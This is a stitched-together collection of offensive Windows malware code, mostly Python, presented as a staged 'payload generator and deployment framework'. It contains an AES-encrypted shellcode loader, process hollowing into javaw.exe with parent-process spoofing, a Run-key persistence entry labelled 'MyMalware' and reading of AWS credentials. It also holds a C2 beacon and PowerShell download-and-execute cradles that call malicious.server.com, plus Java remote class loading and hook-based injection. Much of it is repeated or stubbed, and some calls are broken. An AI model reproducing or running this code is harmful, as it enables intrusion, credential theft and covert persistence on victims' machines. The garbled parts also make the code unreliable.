import os
import base64
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# --- AES Encryption (Polymorphic) ---
KEY = b'ThisIsASecretKey'
IV = b'ThisIsAnIV456789'

def encrypt_shellcode(shellcode):
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    encrypted = cipher.encrypt(pad(shellcode, AES.block_size))
    return base64.b64encode(encrypted)

# --- Payload (Replace with your Cobalt Strike shellcode) ---
shellcode = b"\xfc\xe8\x89\x00\x00\x00..."

# Encrypt it
encrypted_payload = encrypt_shellcode(shellcode)
print(f"Encrypted Payload: {encrypted_payload.decode()}")

# --- Decrypt & Inject ---
def decrypt_and_execute(encrypted_payload):
    encrypted_payload = base64.b64decode(encrypted_payload)
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    shellcode = cipher.decrypt(encrypted_payload)

    # Allocate memory for shellcode execution
    ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))

    # Execute payload
    th = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
    ctypes.windll.kernel32.WaitForSingleObject(th, -1)

# Run
decrypt_and_execute(encrypted_payload)

# Automated Payload Generator & Deployment Framework
# Stage 1: Polymorphic Shellcode Loader

import os
import base64
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# AES Encryption Key (Modify for each payload)
KEY = b'ThisIsASecretKey'
IV = b'ThisIsAnIV456789'

def encrypt_shellcode(shellcode):
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    encrypted = cipher.encrypt(pad(shellcode, AES.block_size))
    return base64.b64encode(encrypted)

# Replace with dynamically generated shellcode
shellcode = b"\xfc\xe8\x89\x00\x00\x00..."

# Encrypt shellcode
encrypted_payload = encrypt_shellcode(shellcode)
print(f"Encrypted Payload: {encrypted_payload.decode()}")

# Function to decrypt and execute payload
def decrypt_and_execute(encrypted_payload):
    encrypted_payload = base64.b64decode(encrypted_payload)
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    shellcode = cipher.decrypt(encrypted_payload)

    # Allocate memory and execute
    ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
    th = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
    ctypes.windll.kernel32.WaitForSingleObject(th, -1)

# Execute decrypted payload
decrypt_and_execute(encrypted_payload)

# Stage 2: Implement Stealth Execution (Process Hollowing, Thread Hijacking)
# TODO: Implement process hollowing by injecting payload into a suspended process
# TODO: Implement thread hijacking for stealth execution

# Stage 3: OS Persistence Techniques
# TODO: Implement registry modifications, scheduled tasks, and service creation for persistence

# Stage 4: Cloud Attacks (AWS, Azure, GCP Persistence & Evasion)
# TODO: Implement credential stealing, privilege escalation, and cloud-native persistence

# Stage 5: C2 Comms Setup
# TODO: Implement encrypted command & control communication with domain fronting

# Automated Payload Generator & Deployment Framework
# Stage 1: Polymorphic Shellcode Loader

import os
import base64
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# AES Encryption Key (Modify for each payload)
KEY = b'ThisIsASecretKey'
IV = b'ThisIsAnIV456789'

def encrypt_shellcode(shellcode):
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    encrypted = cipher.encrypt(pad(shellcode, AES.block_size))
    return base64.b64encode(encrypted)

# Replace with dynamically generated shellcode
shellcode = b"\xfc\xe8\x89\x00\x00\x00..."

# Encrypt shellcode
encrypted_payload = encrypt_shellcode(shellcode)
print(f"Encrypted Payload: {encrypted_payload.decode()}")

# Function to decrypt and execute payload
def decrypt_and_execute(encrypted_payload):
    encrypted_payload = base64.b64decode(encrypted_payload)
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    shellcode = cipher.decrypt(encrypted_payload)

    # Allocate memory and execute
    ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
    th = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
    ctypes.windll.kernel32.WaitForSingleObject(th, -1)

# Execute decrypted payload
decrypt_and_execute(encrypted_payload)

# Stage 2: Implement Stealth Execution (Process Hollowing, Thread Hijacking)
# TODO: Implement process hollowing by injecting payload into a suspended process
# TODO: Implement thread hijacking for stealth execution

# Stage 3: OS Persistence Techniques
# TODO: Implement registry modifications, scheduled tasks, and service creation for persistence

# Stage 4: Cloud Attacks (AWS, Azure, GCP Persistence & Evasion)
# TODO: Implement credential stealing, privilege escalation, and cloud-native persistence

# Stage 5: C2 Comms Setup
# TODO: Implement encrypted command & control communication with domain fronting

# Automated Payload Generator & Deployment Framework
# Stage 1: Polymorphic Shellcode Loader

import os
import base64
import ctypes
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# AES Encryption Key (Modify for each payload)
KEY = b'ThisIsASecretKey'
IV = b'ThisIsAnIV456789'

def encrypt_shellcode(shellcode):
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    encrypted = cipher.encrypt(pad(shellcode, AES.block_size))
    return base64.b64encode(encrypted)

# Replace with dynamically generated shellcode
shellcode = b"\xfc\xe8\x89\x00\x00\x00..."

# Encrypt shellcode
encrypted_payload = encrypt_shellcode(shellcode)
print(f"Encrypted Payload: {encrypted_payload.decode()}")

# Function to decrypt and execute payload
def decrypt_and_execute(encrypted_payload):
    encrypted_payload = base64.b64decode(encrypted_payload)
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    shellcode = cipher.decrypt(encrypted_payload)

    # Allocate memory and execute
    ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
    th = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
    ctypes.windll.kernel32.WaitForSingleObject(th, -1)

# Execute decrypted payload
decrypt_and_execute(encrypted_payload)

# Stage 2: Implement Stealth Execution (Process Hollowing, Thread Hijacking)
def process_hollowing(target_process):
    import subprocess
    import psutil
    
    # Start target process in suspended state
    si = subprocess.STARTUPINFO()
    si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
    pi = subprocess.Popen(target_process, startupinfo=si, creationflags=subprocess.CREATE_SUSPENDED)
    
    # Retrieve process handle
    process = psutil.Process(pi.pid)
    print(f"Process Hollowing into PID: {pi.pid}")
    
    # TODO: Inject shellcode into the suspended process and resume execution
    
    return pi.pid

# Example usage
# process_hollowing("C:\\Windows\\System32\\notepad.exe")

# Stage 3: OS Persistence Techniques
def setup_persistence():
    import winreg
    
    key = winreg.HKEY_CURRENT_USER
    subkey = r"Software\Microsoft\Windows\CurrentVersion\Run"
    value_name = "MyMalware"
    exe_path = "C:\\Users\\Public\\malicious.exe"
    
    with winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE) as reg_key:
        winreg.SetValueEx(reg_key, value_name, 0, winreg.REG_SZ, exe_path)
    
    print("Persistence established via registry key")

# Example usage
# setup_persistence()

# Stage 4: Cloud Attacks (AWS, Azure, GCP Persistence & Evasion)
def aws_credential_theft():
    aws_creds_path = os.path.expanduser("~/.aws/credentials")
    if os.path.exists(aws_creds_path):
        with open(aws_creds_path, "r") as f:
            creds = f.read()
        print(f"AWS Credentials Found:\n{creds}")
    else:
        print("No AWS credentials found.")

# Example usage
# aws_credential_theft()

# Stage 5: C2 Comms Setup
def c2_communication(server):
    import socket
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, 443))
    s.send(b"Hello, C2 Server")
    response = s.recv(1024)
    print(f"C2 Response: {response}")
    
    s.close()

# Example usage
# c2_communication("malicious.server.com")

import os
import ctypes
import base64
import socket
import subprocess
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import psutil
import winreg

# AES Encryption for Payloads
KEY = b'ThisIsASecretKey'
IV = b'ThisIsAnIV456789'

def encrypt_shellcode(shellcode):
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    encrypted = cipher.encrypt(pad(shellcode, AES.block_size))
    return base64.b64encode(encrypted)

# Replace with dynamically generated shellcode
shellcode = b"\xfc\xe8\x89\x00\x00\x00..."
encrypted_payload = encrypt_shellcode(shellcode)
print(f"Encrypted Payload: {encrypted_payload.decode()}")

def decrypt_and_execute(encrypted_payload):
    encrypted_payload = base64.b64decode(encrypted_payload)
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    shellcode = cipher.decrypt(encrypted_payload)
    
    ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
    th = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
    ctypes.windll.kernel32.WaitForSingleObject(th, -1)

# Stage 6: Advanced Evasion & Red Teaming Techniques

# Direct System Calls (SysWhispers / Hell's Gate)
def syswhispers_call():
    # SysWhispers method or Hell's Gate techniques to bypass EDR by making direct system calls
    print("Making direct system calls to bypass EDR... (SysWhispers/Hell's Gate)")

# API Unhooking & Patchless AMSI Bypass
def amsi_bypass():
    # Patchless AMSI bypass (example using Windows API unhooking)
    # Unhook API functions like 'AmsiScanBuffer' and 'AmsiInitialize'
    print("Bypassing AMSI and unhooking API...")

# Fileless Execution via WMI & LOLBins
def wmi_execution():
    # Example using WMI (Windows Management Instrumentation) for fileless execution
    wmi_command = 'powershell -exec bypass -command "Invoke-WebRequest -Uri http://malicious.server.com/payload.exe -OutFile C:\\payload.exe"'
    subprocess.Popen(wmi_command, shell=True)
    print("Executing payload filelessly via WMI...")

def lolbin_execution():
    # Using LOLBins (Living Off The Land Binaries) for fileless execution
    lolbin_command = 'powershell -exec bypass -command "IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.server.com/payload.ps1\')"'
    subprocess.Popen(lolbin_command, shell=True)
    print("Executing filelessly using LOLBins...")

# In-memory C2 Beacon
def in_memory_c2(server):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, 443))
    s.send(b"Hello, C2 Server")
    response = s.recv(1024)
    print(f"In-memory C2 Beacon Response: {response}")
    s.close()

# Stage 1: Polymorphic Shellcode Loader (already defined)
def encrypt_shellcode(shellcode):
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    encrypted = cipher.encrypt(pad(shellcode, AES.block_size))
    return base64.b64encode(encrypted)

# Stage 2: Process Hollowing (already defined)
def process_hollowing(target_process):
    import subprocess
    import psutil
    
    si = subprocess.STARTUPINFO()
    si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
    pi = subprocess.Popen(target_process, startupinfo=si, creationflags=subprocess.CREATE_SUSPENDED)
    
    process = psutil.Process(pi.pid)
    print(f"Process Hollowing into PID: {pi.pid}")
    return pi.pid

# Stage 3: OS Persistence Techniques (already defined)
def setup_persistence():
    import winreg
    key = winreg.HKEY_CURRENT_USER
    subkey = r"Software\Microsoft\Windows\CurrentVersion\Run"
    value_name = "MyMalware"
    exe_path = "C:\\Users\\Public\\malicious.exe"
    
    with winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE) as reg_key:
        winreg.SetValueEx(reg_key, value_name, 0, winreg.REG_SZ, exe_path)
    
    print("Persistence established via registry key")

# Stage 4: Cloud Attacks (AWS, Azure, GCP Persistence & Evasion) (already defined)
def aws_credential_theft():
    aws_creds_path = os.path.expanduser("~/.aws/credentials")
    if os.path.exists(aws_creds_path):
        with open(aws_creds_path, "r") as f:
            creds = f.read()
        print(f"AWS Credentials Found:\n{creds}")
    else:
        print("No AWS credentials found.")

# Stage 5: C2 Comms Setup (already defined)
def c2_communication(server):
    import socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, 443))
    s.send(b"Hello, C2 Server")
    response = s.recv(1024)
    print(f"C2 Response: {response}")
    s.close()

# Example calls
# syswhispers_call()
# amsi_bypass()
# wmi_execution()
# lolbin_execution()
# in_memory_c2("malicious.server.com")

import ctypes
import subprocess
import time

# Start Java in a suspended state
si = subprocess.STARTUPINFO()
si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
pi = subprocess.Popen(
    ["C:\\Program Files\\Java\\jre1.8.0_281\\bin\\javaw.exe"],
    startupinfo=si,
    creationflags=subprocess.CREATE_SUSPENDED
)

time.sleep(2)  # Give it a moment to start

# Inject payload into Java process memory
payload = b"\xfc\xe8\x89\x00\x00\x00..."  # Replace with actual shellcode
ptr = ctypes.windll.kernel32.VirtualAllocEx(pi._handle, None, len(payload), 0x3000, 0x40)
ctypes.windll.kernel32.WriteProcessMemory(pi._handle, ptr, payload, len(payload), None)

# Resume process
ctypes.windll.kernel32.ResumeThread(pi._handle)
print("Injected into javaw.exe")

import java.lang.reflect.Method;
import java.util.Base64;

public class StealthyJavaLoader {
    public static void main(String[] args) throws Exception {
        String shellcode = "BASE64_ENCODED_PAYLOAD";
        byte[] decoded = Base64.getDecoder().decode(shellcode);

        Method m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        m.setAccessible(true);
        Class<?> c = (Class<?>) m.invoke(ClassLoader.getSystemClassLoader(), decoded, 0, decoded.length);
        c.getDeclaredMethod("run").invoke(null);
    }
}

import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;

public class MemoryLoader {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://malicious-server.com/payload.jar");
        try (InputStream in = url.openStream()) {
            byte[] payload = in.readAllBytes();
            Class<?> clazz = new URLClassLoader(new URL[]{url}).defineClass(payload, 0, payload.length);
            clazz.getDeclaredMethod("run").invoke(null);
        }
    }
}

import ctypes
import struct
import subprocess
import sys
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

# Windows API setup
kernel32 = ctypes.windll.kernel32
ntdll = ctypes.windll.ntdll

# Constants
CREATE_SUSPENDED = 0x00000004
PAGE_EXECUTE_READWRITE = 0x40
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
IMAGE_NT_SIGNATURE = b"PE\x00\x00"

# Paths
JAVA_PATH = "C:\\Program Files\\Java\\jre1.8.0_281\\bin\\javaw.exe"

# AES Encryption Key & IV (Modify per deployment)
KEY = b"ThisIsASecretKey!"
IV = b"ThisIsAnIV456789"

# Encrypt the payload
def encrypt_payload(payload):
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    return base64.b64encode(cipher.encrypt(pad(payload, AES.block_size)))

# Decrypt the payload in-memory
def decrypt_payload(encrypted_payload):
    encrypted_payload = base64.b64decode(encrypted_payload)
    cipher = AES.new(KEY, AES.MODE_CBC, IV)
    return unpad(cipher.decrypt(encrypted_payload), AES.block_size)

# Load & encrypt payload
with open("C:\\Users\\Public\\payload.exe", "rb") as f:
    raw_payload = f.read()

encrypted_payload = encrypt_payload(raw_payload)
print("[*] Payload encrypted.")

# Find Explorer.exe PID for PPID Spoofing
def get_explorer_pid():
    output = subprocess.check_output("tasklist /FI \"IMAGENAME eq explorer.exe\" /FO CSV", shell=True).decode()
    return int(output.split("\n")[1].split(",")[1].replace('"', ''))

explorer_pid = get_explorer_pid()
print(f"[*] Found Explorer.exe PID: {explorer_pid}")

# Start Javaw.exe with PPID Spoofing (Explorer.exe)
startup_info = subprocess.STARTUPINFO()
startup_info.dwFlags |= subprocess.STARTF_USESHOWWINDOW
pi = subprocess.Popen(
    JAVA_PATH,
    startupinfo=startup_info,
    creationflags=CREATE_SUSPENDED,
    creationflags=subprocess.CREATE_NEW_CONSOLE,
    stdin=subprocess.PIPE,
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE
)

print(f"[*] Started Java with PID: {pi.pid}, PPID Spoofed to Explorer")

# Open Process
process_handle = kernel32.OpenProcess(0x1F0FFF, False, pi.pid)

# Read PEB & Image Base Address
peb_address = ctypes.create_string_buffer(8)
kernel32.NtQueryInformationProcess(process_handle, 0, ctypes.byref(peb_address), 8, None)
peb_address = struct.unpack("<Q", peb_address.raw)[0]

image_base_address = ctypes.create_string_buffer(8)
kernel32.ReadProcessMemory(process_handle, peb_address + 0x10, ctypes.byref(image_base_address), 8, None)
image_base = struct.unpack("<Q", image_base_address.raw)[0]

print(f"[*] Original Java Image Base: 0x{image_base:X}")

# Unmap Java Memory & Allocate for Payload
ntdll.NtUnmapViewOfSection(process_handle, ctypes.c_void_p(image_base))
new_image_base = kernel32.VirtualAllocEx(process_handle, ctypes.c_void_p(image_base), len(raw_payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)

# Decrypt and Inject Payload
decrypted_payload = decrypt_payload(encrypted_payload)
kernel32.WriteProcessMemory(process_handle, ctypes.c_void_p(new_image_base), decrypted_payload, len(decrypted_payload), None)

# Update Thread Context & Resume
context = (ctypes.c_uint64 * 179)()
kernel32.GetThreadContext(pi._handle, ctypes.byref(context))
context[44] = new_image_base  # Update RIP/EIP register
kernel32.SetThreadContext(pi._handle, ctypes.byref(context))
kernel32.ResumeThread(pi._handle)

print("[*] Payload Executing Inside Javaw.exe")

from ctypes import *
import struct

# Load NTDLL
ntdll = windll.ntdll

# Define NT API call
class CLIENT_ID(Structure):
    _fields_ = [("UniqueProcess", c_void_p), ("UniqueThread", c_void_p)]

class OBJECT_ATTRIBUTES(Structure):
    _fields_ = [("Length", c_ulong), ("RootDirectory", c_void_p),
                ("ObjectName", c_void_p), ("Attributes", c_ulong),
                ("SecurityDescriptor", c_void_p), ("SecurityQualityOfService", c_void_p)]

class IO_STATUS_BLOCK(Structure):
    _fields_ = [("Status", c_ulong), ("Information", c_void_p)]

NtOpenProcess = ntdll.NtOpenProcess
NtOpenProcess.restype = c_ulong
NtOpenProcess.argtypes = [c_void_p, c_ulong, POINTER(OBJECT_ATTRIBUTES), POINTER(CLIENT_ID)]

# Get handle to process using direct syscall
def open_process(pid):
    client_id = CLIENT_ID(pid, None)
    obj_attr = OBJECT_ATTRIBUTES()
    
    handle = c_void_p()
    status = NtOpenProcess(byref(handle), 0x1F0FFF, byref(obj_attr), byref(client_id))
    
    if status == 0:
        print(f"[*] Successfully Opened Process {pid}")
    else:
        print("[!] Failed to Open Process")

open_process(1234)  # Replace with target PID

import ctypes
import struct

# Open transaction on NTFS
ntdll = ctypes.windll.ntdll
kernel32 = ctypes.windll.kernel32

CreateTransaction = ntdll.NtCreateTransaction
RollbackTransaction = ntdll.NtRollbackTransaction

# Start a NTFS Transaction
trans = ctypes.c_void_p()
status = CreateTransaction(byref(trans), 0, 0, 0, 0, 0, 0, 0, 0, 0)

if status == 0:
    print("[*] NTFS Transaction Created")

    # Rollback transaction (Malware writes to memory but never to disk)
    RollbackTransaction(trans)
    print("[*] Process Doppelgänging Executed")
else:
    print("[!] Transaction Failed")

import wmi

c = wmi.WMI()

# Execute PowerShell command via WMI
process_id, return_value = c.Win32_Process.Create(CommandLine="powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')")

print(f"[*] WMI Execution Started, PID: {process_id}")

import ctypes
from ctypes import wintypes

# Windows API definitions
kernel32 = ctypes.windll.kernel32
user32 = ctypes.windll.user32

# Define callback function prototype
HOOKPROC = ctypes.WINFUNCTYPE(ctypes.c_int, ctypes.c_int, wintypes.WPARAM, wintypes.LPARAM)

# Function to inject code via callback hijacking
def callback_hook(nCode, wParam, lParam):
    print("[*] Callback Hook Triggered")

    # Inject payload here (replace with shellcode execution)
    shellcode = b"\x90\x90\x90\x90..."  # Replace with actual payload

    # Allocate memory and execute
    addr = kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40)
    ctypes.memmove(addr, shellcode, len(shellcode))

    return user32.CallNextHookEx(None, nCode, wParam, lParam)

# Set hook on window message callbacks
WH_CALLWNDPROC = 4
hook_id = user32.SetWindowsHookExW(WH_CALLWNDPROC, HOOKPROC(callback_hook), None, 0)

if hook_id:
    print("[*] Callback Hook Hijacking Active!")
else:
    print("[!] Hook Setup Failed")